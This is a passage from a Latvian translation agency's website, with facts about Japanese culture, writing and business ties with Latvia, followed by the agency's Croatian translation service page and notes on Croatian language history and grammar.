frāzi “Ir tulks” un “Ir tulki”. Tāpēc var būt grūti noteikt, vai kāds saka, ka pie jums ir ieradies viens tulks, vai arī ieradusies tulku komanda. Slavenā ķiršu ziedēšanas sezona Japānā ir ļoti svarīga. Runa nav tikai par pašbildēm un ziedu attēlu uzņemšanu Instagram vietnē. Sēdēšana zem ķiršu koku zariem ir vēl viena gadsimtiem sena tradīcija. Ģimenes un draugi pulcējas uz pikniku pilnzieda laikā un domā par dzīves nepastāvību un skaistumu. Ikviens zina, ka Japānā ir populāras videospēles. Japāna ir tādu datorkonsoļu un spēļu ražošanas gigantu kā Nintendo, Sega un PlayStation mājvieta. Dažas no pirmajām spēlēm, kas ienāca Rietumu pasaulē, bija tieši no Japānas – Mario, Zelda un, pati populārākā Pokemon. Droši vien acīmredzams fakts par japāņu kultūru – regulārā paklanīšanās jeb ojigi. Neatkarīgi no tā, vai tas ir mājiens veikala darbiniekam vai dziļa paklanīšanās priekšniecei darbā, tas patiesībā ir svarīgākais žests japāņu ķermeņa valodā. Tas, cik reižu jūs paklanāties un cik dziļi paklanāties, parāda jūsu cieņu pret cilvēku, kuram paklanāties. Pat draugi Japānā paklanās viens otram! Viena no Japānas pazīstamākajām kultūras eksporta precēm – anime – ir populāra pasaules mērogā. Anime ir nosaukums japāņu animācijai, kas ir vai nu ar roku zīmēta, vai veidota digitāli. Lai gan japāņu anime veidoja 60% no pasaules animācijas 2016. gadā, tā lielākā ietekme ir bijusi mūsdienu Japānas kultūrā. Ja ceļojat pa valsti, pievērsiet uzmanību anime statujām, uzkodām tematiskā iepakojumā un anime varoņu reklāmām. Japānā ir daudz interesantu ēdināšanas tradīciju, taču nūdeļu strēbšana ir viena no jautrākajām. Ja japāņu pusdienotāji skaļi strebj nūdeles, tas tiek uzskatīts gan par baudas zīmi, gan kā kompliments šefpavāram. Tāpēc nākamreiz, kad pasūtīsiet ramen vai yakisoba Japānā, nekautrējieties strēbt pēc sirds patikas. Veselība ir svarīga Japānas kultūrai, un valsts rīta vingrošanas tradīcija to spilgti atspoguļo. Rajio Taiso, ko ieviesa imperators Hirohito, ir radio vingrojumu programma, kas tiek pārraidīta katru dienu kopš 1928. gada. Tā tiek atskaņota katru rītu 10 minūtes, un tai lielākoties seko skolēni un vecāka gadagājuma cilvēki. JAPĀŅU VALODAS RAKSTĪBA Japāņu rakstība ir rakstība, kuru lieto, rakstot tekstu japāņu valodā. Ir divi fonētiski alfabēti (hiragana un katakana), kā arī zīmju sistēma kandži, kura ir aizgūta no ķīniešu zīmju rakstības. Kandži (kan ─ (Haņu dinastija/haņi), dži ─ zīmes; burtiski “Haņu burti”) ir ķīniešu rakstu zīmes, kuras tiek izmantotas mūsdienu japāņu valodas pierakstā līdz ar hiragana un katakana zilbju rakstiem. Ķīniešu rakstība ienāca Japānā ar tirgus precēm ─ spoguļiem, zobeniem, zīmogiem, monētām utt. Hieroglifiem bieži vien ir iespējamas vairākas izrunas, parasti tās ir atkarīgas no konteksta. Kandži rakstu zīmju skaits varētu būt ap 50 000 zīmju, kurai katrai ir sava nozīme. Šie hieroglifi ir ļoti sarežģīti, dažu vārdu uzrakstīšanai tiek izmantoti pat vairāki hieroglifi. Hiragana un katagana tika izveidotas, lai atvieglotu sarežģīto rakstību ar ķīniešu rakstu zīmēm. Piemēram, vārdu "es" var pierakstīt: kandži ─ 私, hiraganā ─ わたし, katakanā ─ ワタシ. Hiragana ir japāņu zilbju alfabēts (katrs simbols nozīmē zilbi nevis skaņu), viens no japāņu rakstības veidiem līdz ar katakanu un kandži. Hiragana alfabētā ir 46 simboli (kā arī daži novecojuši). Kopā hiragana un katakana veido kana sistēmu, kurā viena zīme izsaka vienu moru (fonoloģiskā vienība, kas ir mazāka par zilbi, kuru skaits zilbē nosaka zilbes garumu). Katakana ir viena no divām japāņu valodas zilbju rakstības sistēmām. Atšķirībā no hiraganas, kas tiek izmantota plaši, lai pievienotu ar kandži uzrakstītajiem vārdiem galotnes, izskaidrotu kandži izrunu, vai, lai rakstītu vārdus kam nav savu kandži, katakanai ir specifiskāks pielietojums, proti, to lieto: cittautu īpašvārdu atveidošanā; onomatopoēzes izteikšanai; dzīvnieku un augu nosaukumos zinātniskos tekstos; stilistiskiem mērķiem. Šī transkripcija tiek izmantota arī Latvijas Universitātes Āzijas studiju nodaļā. Šo sistēmu lieto, lai atveidotu japāņu valodas vārdus neakadēmiskos tekstos un japāņu personu vārdus, vietu nosaukumus u. c. plaši lietojamus vārdus visos tekstos. Šai transkripcijai nav oficiālā statusa un tā var ar laiku mainīties. Trīs rakstīšanas sistēmas japāņu valodas pierakstīšanai tiek izmantotas kopā, dažreiz pat vienā teikumā. Kandži tiek savienots ar hiraganu, lai veidotu vārdus un teikumus, savukārt katakana tiek izmantota svešvārdiem, kā arī lai pievienotu akcentētu uzsvaru. CIK SAREŽĢĪTA IR JAPĀŅU VALODA? Japāņu valoda varētu būt viena no visgrūtāk apgūstamajām valodām pasaulē. Tomēr tas nav atturējis cilvēkus censties to apgūt. Plaša popularitāte pasaulē šobrīd ir Japānas mediju pasaulei — no filmām un mūzikas līdz videospēlēm un anime, aizvien vairāk jauniešu sāk interesēties par japāņu valodas apguvi. Tātad ─ ja vēlaties būt slepenais spiegs, kura japāņu valoda izklausās pēc dzimtās valodas, visticamāk, būs nepieciešams tūkstošiem stundu tās apguvei. Bet, lai brīvi sarunātos japāņu valodā, aptuveni B2 līmenī, būs nepieciešamas vismaz 88 mācību nedēļas. Japāņu valodas studenti mēdz piebilst, ka būs nepieciešamas 800 mācību stundas, lai varētu skatīties anime, to pilnībā saprotot. KUR UN CIK DAUDZ RUNĀ JAPĀŅU VALODĀ? Japāņu valodas runātāju skaits ir apmēram 140 miljoni, kas gandrīz atbilst Japānas iedzīvotāju skaitam. Dzimtā valoda tā ir aptuveni 125 miljoniem cilvēku. Ņemot vērā šos rādītājus, japāņu valoda ierindojas 9. vietā pasaulē. Lielākā daļa no japāņu valodas pratējiem dzīvo Japānā. To runā arī teritorijās, kuras savulaik bija Japānas Impērijas pārvaldībā – Korejā, Ķīnas Republikā, daļā no Ķīnas Tautas Republikas. Lielas japāņu valodas runātāju kopienas dzīvo arī citviet, lielākās no tām mīt Kalifornijā, Brazīlijā, Peru un Havajās. JAPĀŅU VALODAS TULKS UN TULKOTĀJS Skrivanek Baltic profesionālo tulku un tulkotāju komanda nodrošina gan tipveida dokumentu rakstiskos tulkojumus, sarežģītus tehniskos tulkojumus japāņu valodā, gan notariāli apliecinātus tulkojumus uz un no japāņu valodas. Tulkošanas birojs Skrivanek Baltic nodrošina arī tekstu japāņu valodā korektūru un stilistisko uzlabošanu. Protams, valodas speciālisti var sniegt informāciju par kultūras atšķirībām, Japānas lietišķo etiķeti, vēsturi un tradīcijām. Biznesa klientiem visbiežāk veicam šādus tulkojumus no un uz japāņu valodu – mājaslapu un e-komercijas satura tulkojumus, reklāmas saukļu adaptāciju, sadarbības līgumu, tiesību aktu, tiesu nolēmumu un uzņēmējdarbības dokumentācijas tulkošanu. Veicam arī secīgo tulkošanu uz un no japāņu valodas lietišķās vai cita veida sarunās, konferencēs un citos pasākumos, tiešsaistē Zoom vidē un citās tiešsaistes platformās. Fiziskām personām veicam personu apliecinošo dokumentu, laulību apliecību, bērnu dzimšanas apliecību, izglītības dokumentu, pases, medicīnisko dokumentu u. c. tulkojumus japāņu valodā. JAPĀŅU VALODA BIZNESĀ Lai gan Ķīna pēdējos gados ir apsteigusi Japānas ekonomiku, Japānā tās izaugsme arvien ir ļoti strauja. Tas ka japāņu valoda ir dzimtā valoda aptuveni 125 miljoniem cilvēku, padara to par vienu no visvairāk runātajām valodām pasaulē. Tieši šī un citu iemeslu dēļ japāņu valodas zināšanas būtu ļoti vērtīgas un noderīgas, sevišķi tiem uzņēmējiem, kas strādā automobiļu, komunikāciju vai finanšu nozarē. Japāna ir trešā lielākā automobiļu ražotāja pasaulē, kā arī viena no lielākajām mobilo tehnoloģiju ražotājvalstīm pasaulē. Saskaņā ar FORBES datiem, Japānā darbojas daži no pasaulē spēcīgākajiem uzņēmumiem, proti, Mitsubishi, Softbank, NTT, KDDI un citi. Japāņi ir aktīvi ceļotāji. Tādēļ, ja vēlaties attīstīt tūrisma biznesu, kas orientēts uz Japānas iedzīvotājiem, japāņu valodas zināšanām būs liela vērtība. Japāņu valoda ir vienīgā oficiālā valoda valstī. Kopš Otrā pasaules kara visi japāņi skolā ir apguvuši angļu valodu, un arvien vairāk cilvēku runā angliski. Taču tikai nedaudzi japāņu valodas runātāji angļu valodu var lietot brīvi, galvenokārt tie ir zinātnieki, uzņēmēji un dažādu uzņēmumu darbinieki, kas ir nolīgti Japānas uzņēmumos kā tulki vai angļu valodas zinātāji, jo tādi vienmēr būs nepieciešami biznesa vidē. Īpaši ir jāņem vērā fakts, ka japāņi ir pārāk pieklājīgi, lai paziņotu jums, kad viņi pilnībā nesaprot neko no jūsu teiktā. Tādēļ ir vēlams savu biznesa piedāvājumu iesniegt potenciālajam sadarbības partnerim rakstiskā veidā pirms tikšanās. Japāņu valodas zināšanas un arī lietišķas etiķetes pārzināšana tiks augsti novērtēta no japāņu puses un noteikti pavērs plašas iespējas uzņēmējdarbības attīstīšanai šajā pārsteigumu pilnajā, interesantajā un ekonomiski bagātajā valstī. Japāņu valodu ārpus Japānas robežām lielākoties neizmanto, tādēļ tai nav liela nozīme globālajā pasaules uzņēmējdarbības tirgū. LATVIJAS UN JAPĀNAS SADARBĪBA Japāna ir Latvijas 30. nozīmīgākais eksporta un 35. nozīmīgākais importa preču tirdzniecības partneris. 2019. gadā preču tirdzniecības bilance bija pozitīva – aptuveni 27 miljoni eiro. Galvenās Latvijas eksporta preču grupas ir koksne un tās izstrādājumi, optiskās ierīces un aparāti, pulksteņi un mūzikas instrumenti, minerālie produkti. Galvenās importa preču grupas no Japānas ─ mašīnas, mehānismi un elektriskās iekārtas, plastmasas izstrādājumi, transporta līdzekļi. Jau daudzus gadus Latviju un Japānu saista lieliska sadarbība zinātnes jomā. Latvijas Organiskās sintēzes institūts zāļu izstrādes jomā sadarbojas ar Japānas farmaceitiskajiem uzņēmumiem, un notiek regulāras vizītes uz dažādām Japānas universitātēm. Arī Latvijas universitātes Cietvielu fizikas institūts sadarbojas ar Japānas kolēģiem. Interesants ir fakts, ka 1965. gadā uzņēmumam Grindex aizsākās sadarbība ar Taiho Pharmaceutical un Iskra Industry, bet jau 1972. gadā tika parakstīts līgums par Grindeks oriģinālā pretvēža preparāta-aktīvās farmaceitiskās vielas ─ Ftorafūrs piegādi Japānai. Šo gadu laikā Latvijas uzņēmums ieguvis atzinību kvalitātes ziņā prasīgajā Japānas tirgū. Uz Japānu ik mēnesi tiek eksportēti simts kilogrami aktīvās vielas Ftorafūrs, kas veido apmēram 5% no Grindeks kopējā apgrozījuma. Svarīga un regulāra ir arī sadarbība Izglītības jomā. Kopš 1993. gada Rīgā darbojās Japāņu valodas un kultūras vidusskola, kas ir svarīgs Japānas kultūras mantojuma un valodas popularizēšanas centrs Latvijā. 2001. gada septembrī Japāņu valodas un kultūras vidusskola tika apvienota ar Kristīgo vidusskolu un pārdēvēta par Rīgas Kultūru vidusskolu. Japāņu valoda ir iekļauta mācību programmā, un to pasniedz pedagogi no Japānas. Rīgā darbojas Izglītības un zinātnes ministrijas akreditēta Japāņu valodas un kultūras studija GENGO, kurā tiek piedāvāta japāņu valodas apmācība dažāda vecuma interesentiem. Studijā tiek izdoti arī japāņu valodas mācību līdzekļi un vārdnīcas. Latvijas Universitātē Humanitāro zinātņu fakultātē Āzijas studiju programmā ir Japānas studiju apakšprogramma, vairāk par to šeit. Japānas studenti var pieteikties uz stipendijām mācībām Latvijā gan augstskolu starpā noslēgto sadarbības līgumu ietvaros, gan individuāli. Vairāki Latvijas Universitātes studenti turpina savas studijas maģistrantūrā Japānas universitātēs, kā arī dodas uz šo zemi, lai papildinātu Latvijas Universitātē iegūtās japāņu valodas zināšanas. Parasti studentu skaits, kas katru gadu saņem stipendijas studiju turpināšanai Japānā ir 2─6 studenti. Latvijai ir svarīgi turpināt veiksmīgu sadarbību ar Japānu kā valsti, kas godā kultūras tradīcijas. Ņemot vērā to, ka gan Latvijai, gan Japānai ir bagāts kultūras mantojums, tiek veidotas sadarbības un apmaiņas programmas starp abu valstu kultūras un izglītības iestādēm. Piemēram, Latvijas mākslinieki regulāri viesojas dažādos Japānā rīkotajos festivālos un konkursos vai arī dodas koncertturnejās uz šo valsti. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM JAPĀŅU VALODĀ: dažādu dokumentu tulkošana japāņu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; japāņu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi japāņu valodā; individuālie japāņu valodas kursi. JAPĀŅU VALODAS KOMBINĀCIJAS: japāņu–latviešu; latviešu–japāņu; japāņu–lietuviešu; lietuviešu–japāņu; igauņu–japāņu; japāņu–igauņu; angļu–japāņu; japāņu–angļu; krievu–japāņu; japāņu–krievu; poļu–japāņu; japāņu–poļu; ukraiņu–japāņu; japāņu–ukraiņu; čehu–japāņu; japāņu–čehu; vācu–japāņu; japāņu–vācu; spāņu–japāņu; japāņu–spāņu; franču–japāņu; japāņu–franču; itāļu–japāņu; japāņu–itāļu; dāņu–japāņu; japāņu–dāņu; zviedru–japāņu; japāņu–zviedru; norvēģu–japāņu; japāņu–norvēģu; somu–japāņu; japāņu–somu u. c. --- > Rakstiski un mutiski tulkojumi horvātu valodā. Saņemiet cenas aprēķinu bez maksas tikai 15 minūtes! Sazinieties ar mums! - Published: 2022-07-06 - Modified: 2024-09-10 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-horvatu-valoda/ - Translation Priorities: Optional TULKOJUMI HORVĀTU VALODĀ / TULKOT HORVĀTU VALODĀ CIK MAKSĀ TULKOJUMI HORVĀTU VALODĀ? Tulkojumu cena no un uz horvātu valodu tiek aprēķināta katram pasūtījumam individuāli. Cenas aprēķinā vērā tiek ņemti dažādi tieši jūsu pasūtījumam raksturīgi mainīgie, piemēram, secīgo mutisko un sinhrono tulkojumu cenu veido pakalpojuma sniegšanas laiks, norises vieta, ceļošanas izdevumi, dienas nauda, sinhronajā tulkošanā papildus tiek rēķināti izdevumi par tehnisko nodrošinājumu atkarībā no pasākuma dalībnieku skaita utt. Rakstisko tulkojumu cenu veido tulkojamā materiāla apjoms un lasāmība, tulkojuma izpildes termiņi, terminoloģijas sarežģītība, atkārtojumi tekstā, attēlu un grafiku sarežģītība un formatēšana, koriģēšana, kā arī citi klienta papildus izvēlētie pakalpojumi. VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Protams, gan rakstisko, gan mutisko (sinhrono un secīgo) tulkojumu, lokalizācijas un adaptācijas pakalpojumu cenrādis no un uz horvātu valodu ir neatņemama mūsu sadarbības līguma ar klientiem daļa. Katru reizi Skrivanek Baltic tulkošanas projektu vadītāji sagatavo sīku informāciju par tulkojuma cenu pirms katra tulkošanas projekta uzsākšanas. Cenas piedāvājums tiek sagatavots 30 minūšu laikā. Rakstiskajiem darbiem, nosakot cenu, tiek ņemts vērā vārdu skaits avota tekstā, atkārtojumi tajā, grafisko elementu sarežģītība un citi parametri. Lai jūs saņemtu cenas piedāvājumu, gaidīsim tulkojamo materiālu e-pastā. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM HORVĀTU VALODĀ: dažādu dokumentu tulkošana horvātu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; horvātu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi horvātu valodā; individuālie horvātu valodas kursi. Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu Meklējiet valodu risinājumus horvātu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt TULKOJUMI HORVĀTU VALODĀ / TULKOT HORVĀTU VALODĀ CIK MAKSĀ TULKOJUMI HORVĀTU VALODĀ? Tulkojumu cena no un uz horvātu valodu tiek aprēķināta katram pasūtījumam individuāli. Cenas aprēķinā vērā tiek ņemti dažādi tieši jūsu pasūtījumam raksturīgi mainīgie, piemēram, secīgo mutisko un sinhrono tulkojumu cenu veido pakalpojuma sniegšanas laiks, norises vieta, ceļošanas izdevumi, dienas nauda, sinhronajā tulkošanā papildus tiek rēķināti izdevumi par tehnisko nodrošinājumu atkarībā no pasākuma dalībnieku skaita utt. Rakstisko tulkojumu cenu veido tulkojamā materiāla apjoms un lasāmība, tulkojuma izpildes termiņi, terminoloģijas sarežģītība, atkārtojumi tekstā, attēlu un grafiku sarežģītība un formatēšana, koriģēšana, kā arī citi klienta papildus izvēlētie pakalpojumi. VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Protams, gan rakstisko, gan mutisko (sinhrono un secīgo) tulkojumu, lokalizācijas un adaptācijas pakalpojumu cenrādis no un uz horvātu valodu ir neatņemama mūsu sadarbības līguma ar klientiem daļa. Katru reizi Skrivanek Baltic tulkošanas projektu vadītāji sagatavo sīku informāciju par tulkojuma cenu pirms katra tulkošanas projekta uzsākšanas. Cenas piedāvājums tiek sagatavots 30 minūšu laikā. Rakstiskajiem darbiem, nosakot cenu, tiek ņemts vērā vārdu skaits avota tekstā, atkārtojumi tajā, grafisko elementu sarežģītība un citi parametri. Lai jūs saņemtu cenas piedāvājumu, gaidīsim tulkojamo materiālu e-pastā. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM HORVĀTU VALODĀ: dažādu dokumentu tulkošana horvātu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; horvātu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi horvātu valodā; individuālie horvātu valodas kursi. Meklējiet valodu risinājumus horvātu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt INTERESANTI FAKTI PAR HORVĀTU VALODU Ja kādreiz ceļi aizved uz Horvātiju, tad vari droši sevi uzskatīt par vienu no bagātākajiem cilvēkiem uz planētas. Horvātija ir pasakaini skaista zeme ar brīnumdāsniem cilvēkiem, melodisku valodu, burvīgu tautas mūziku, drosmīgiem vīriem un laipnām namamātēm. Tā ir smaragdzaļā Adrijas jūra, Pulas amfiteātris, melno priežu medus un Plitvices ezeri. Horvātu valoda pieder indoeiropiešu valodu saimes, slāvu valodu grupas dienvidslāvu atzaram. Horvātu valoda kopā ar serbu, bosniešu un melnkalniešu valodu ir viena no centrālās dienvidslāvu valodu valodām. Patiesībā horvātu valoda ir ļoti līdzīga serbu, bosniešu un melnkalniešu valodai. Horvātijas literārā valoda attīstījusies, sākot ar 15. gadsimtu, daudzos vietējos variantos un savu tagadējo formu ieguva vien 19. gadsimtā, jo 19. gadsimtā pastāvēja pārliecinošs viedoklis par kopīgu dienvidslāvu valodu. Tās ietekmes rezultātā serbu un horvātu valodas kļuva ļoti līdzīgas un gandrīz visa 20. gadsimta garumā tās tika uzskatītas par vienu – serbu horvātu valodu. Melnkalniešu valodai savukārt ir ļoti līdzīgs vārdu krājums kā serbu valodai, līdz ar to tā reizēm tiek uztverta kā serbu valodas paveids. Ir sarežģīti pateikt, kas ir bosniešu valoda, bet ir skaidrs, ka tā ir turpat blakus serbu un horvātu valodām, tā ir arī vistuvākā melnkalniešu valodai fonētiski. Šo četru valodu runātāji var sazināties savā starpā, saprotot viens otru. Vislielākās atšķirības ir vērojamas tikai specifiskā terminoloģijā – matemātikā, bioloģijā tiesību zinātnē un arī kulinārijā. Visu četru valodu rakstības gan ir atšķirīgas, serbu un melnkalniešu valoda tiek pierakstītas latīņu alfabētā, kā arī kirilicā, bet bosniešu un horvātu valodas pierakstam izmanto tikai latīņu alfabētu. Horvātija ir sadalīta 3 dialektu teritorijās – štokaviešu, kajkaviešu un čakaviešu. Visos dialektos ir atrodama rakstītā literatūra, taču tieši štokaviešu dialekts ir horvātu literārās valodas pamatā. Vārdu ─ enciklopēdija, 1559. gadā pirmo reizi sāka lietot horvātu enciklopēdists un ceļotājs Pavao Skaličs no Zagrebas. Viņa grāmata Encyclopaedia seu orbis disciplinarum tam sacrarum quam prophanarum epistemon bija viena no pirmajām grāmatām ar nosaukumu enciklopēdija. Grāmata bija slikti uzrakstīta, tā vismaz liecina vēstures dati, taču tā ir nozīmīga ar to, ka tās nosaukumā pirmo reizi tika lietots jēdziens ─ enciklopēdija. 1843. gadā Ivans Kukuljevičs Sakčinskis bija pirmais cilvēks, kurš parlamentā runāja horvātu valodā. Savā runā viņš aicināja būt drosmīgiem un iestāties cīņā par nacionālo atbrīvošanos, pieprasot, lai horvātu valoda kļūtu par oficiālo valodu skolās un darba vietās, pakāpeniski ieviešot to valsts sabiedriskajā dzīvē. Viņš arī norādīja uz negatīvo ietekmi sabiedrībai un valstij, ja horvātu valoda tiktu aizstāta ar citu valodu. Paprika ir vārds, ar ko apzīmē kaltētus un maltus piparus. Lai gan šo vārdu plaši lieto daudzās pasaules valodās, tā izcelsme ir no horvātu valodas un tas netiek tulkots. Horvātu vārds ar vislielāko sinonīmu skaitu ir “kukurūzas vālīte”. Tā sinonīmi ir: ajdamak, bat, batakljuša, bataljika, batučak, batuček, batuk, baturak, baturice, čepina, čokotinja, ćuka, kic, klas, klasina, klasinec, klasovina, klasovinje, kočanj, kocen, komaljika, komušina, kururuzina, komušina, kururuzina kuruška, oklipak, okoma, okomak, okomina, okrunica, orušek, otučak, paćika, patura, paturica, rucelj, rucl, rulina, šapurika, ščavina, šepurina, štruk, tekun, tulina, tulinek. Pirmo horvātu gramatikas grāmatu sarakstīja Bartols Kašičs un publicēja 1604. gadā, tikai 18 gadus vēlāk pēc pirmās angļu valodas gramatikas. Tā bija sarakstīta latīņu valodā. Interesants ir fakts, ka horvātu valoda jau tika pasludināta par reģiona oficiālo valodu 1967. gadā, kad Horvātija vēl bija Dienvidslāvijas sastāvā un ieguva savu neatkarību tikai 1991. gadā. HORVĀTU VALODAS ALFABĒTS Horvātu valodas pierakstīšanai tiek izmantots latīņu alfabēts, kaut Horvātu kņazistes perioda sākumā tika lietota glagolica, kas radīta tieši slāvu valodām, vai tā saucamā rietumu kirilica ─ bosančica. Kādu laiku horvātu valodas pierakstam šos trīs rakstu veidus izmantoja vienlaicīgi katru savā valsts reģionā. Galu galā par galveno valodas alfabētu palika latīņu pieraksts. Horvātu valodas alfabētā ir 27 burti un 3 divskaņi – Aa, Bb, Cc, Čč, Ćć, Dd, Dž dž, Đ đ, Ee, Ff, Gg, Hh, Ii, Jj, Kk, Ll, Lj lj, Mm, Nn, Nj nj, Oo, Pp, Rr, Ss, Šš, Tt, Uu, Vv, Zz, Žž. Burti q, w, x, y horvātu valodā netiek lietoti. Viens burts ir viena skaņa un to izrunā tāpat, kā to raksta. CIK SAREŽĢĪTA IR HORVĀTU VALODA? Horvātu valoda tiek ierindota 3. valodu grupā pēc tās sarežģītības. Tās apguvei, lai varētu brīvi sarunāties, būs nepieciešamas vismaz 1100 mācību stundas. Tā kā horvātu valoda ir no slāvu valodu grupas, tad tiem, kam kāda no slāvu valodām ir dzimtā valoda, apgūt horvātu valodu būs krietni vieglāk un tas prasīs īsāku laika sprīdi. Ja jūs apgūsiet horvātu valodu, tad apgūt kādu no slāvu valodām jums nebūs liels izaicinājums, bet lieliska iespēja sazināties ar cilvēkiem daudzās pasaules valstīs. Horvātu valodas gramatika, kā jau visu slāvu valodu gramatikas, ir ļoti sarežģīta. Tajā ir divi skaitļi ─ vienskaitlis un daudzskaitlis, ir septiņi locījumi ─ nominatīvs, ģenitīvs, datīvs, akuzatīvs, vokatīvs, lokatīvs un instrumentālis, un tam visam ir jābūt saskaņotam ar trijiem dzimumiem ─ vīriešu, sieviešu un nekatro; tātad teorētiski katram lietvārdam ir 42 formas. Darbības vārdiem ir septiņi laiki, divi skaitļi ─ vienskaitlis un daudzskaitlis, un trīs personas, proti, vienskaitlī: es, tu, viņš / viņa / tas; daudzskaitlī: mēs, tu, viņi / viņas. Darbības vārdiem ir arī divi veidi ─ pabeigts un nepabeigts, un katra darbības vārda veidu ir jāiemācās, jo no tā ir atkarīgs konjugācijas modelis: piemēram, skočiti ‘lēkt’ un skakati ‘lēkāt’. KUR UN CIK DAUDZ RUNĀ HORVĀTU VALODĀ? Horvātu valodā runājošo skaits pasaulē ir aptuveni 5,7 miljoni iedzīvotāju, no kuriem lielākā daļa dzīvo Horvātijā. Tā ir oficiālā valoda arī Bosnijā un Hercegovinā, Serbijā Vojvodinas apgabalā, kā arī ir viena no Eiropas Savienības darba valodām. Kā mazākuma valoda tā tiek lietota Melnkalnē, Ungārijā, Austrijā, Itālijā un Rumānijā. Horvātu diasporas atrodas vairākās pasaules valstīs, tostarp – Vācijā, Zviedrijā, Francijā, Argentīnā, ASV, Kanādā, Austrālijā un Jaunzēlandē. HORVĀTU VALODAS TULKS UN TULKOTĀJS Skrivanek Baltic horvātu valodas tulki un tulkotāji strādā gan ar tipveida dokumentu rakstiskajiem tulkojumiem, sarežģītiem tehniskajiem tulkojumiem, gan notariāli apliecinātiem tulkojumiem. Tulkošanas birojs Skrivanek nodrošina arī tekstu horvātu valodā korektūru un stilistisko uzlabošanu, SEO satura veidošanu. Mūsu valodas speciālisti būs priecīgi pastāstīt par kultūras atšķirībām, lietišķo etiķeti, vēsturi un tradīcijām. Biznesa klientiem visbiežāk veicam šādus tulkojumus no un uz horvātu valodu – mājaslapu un e-komercijas satura tulkojumus, reklāmas saukļu adaptāciju, sadarbības līgumu un uzņēmējdarbības dokumentācijas tulkošanu. Veicam arī secīgo tulkošanu lietišķās vai cita veida sarunās, konferencēs un citos pasākumos, tiešsaistē Zoom vidē un citās tiešsaistes platformās. Fiziskām personām veicam personu apliecinošo dokumentu, laulību apliecību, bērnu dzimšanas apliecību, izglītības dokumentu, pases, medicīnisko dokumentu u. c. tulkojumus. HORVĀTU VALODA BIZNESĀ Lielākā daļa horvātu uzņēmēju un uzņēmumu vadītāju runā vairākās valodās. Galvenās uzņēmējdarbībā lietotās valodas, izņemot horvātu, ir angļu, vācu un itāļu (tiek izmantotas galvenokārt Istras piekrastes zonās). Mūsdienās lielākā daļa jaunāka gadu gājuma uzņēmumu vadītāju brīvi runā angļu valodā. Tomēr ārvalstu biznesa partnerim pirms tikšanās vienmēr iesakām pavaicāt, vai ir nepieciešams tulks, lai izvairītos no neērtām situācijām. Vēlams arī iemācīties dažas sasveicināšanās frāzes horvātu valodā, lai tikšanās būtu cieņpilna un horvātu biznesa partneris sajustu jūsu interesi par viņa kultūru un valsti. Attieksmei un vērtībām ir liela nozīme, mēģinot attīstīt biznesa attiecības starp divām kultūrām vai valstīm. Horvāti ir labi pazīstami ar savu nepiespiesto attieksmi pret biznesu, lai gan viņi saglabā augstu profesionalitātes līmeni. Viņi ir draudzīgi un dzīvespriecīgi, taču viņiem būs vajadzīgas dažas vizītes, lai jūs iepazītu, pirms viņi varēs justies ērti kopā ar jums. Horvātu valoda lieti noderēs, ja vēlēsieties attīstīt vai uzsākt savu biznesu kādā no bijušajām Dienvidslāvijas valstīm. HORVĀTIJA UN LATVIJAS REPUBLIKA Latvijas un Horvātijas attiecības ir labas un draudzīgas. Valstīm ir aktīvs politiskais dialogs. Izveidojusies laba sadarbība starp parlamentiem. 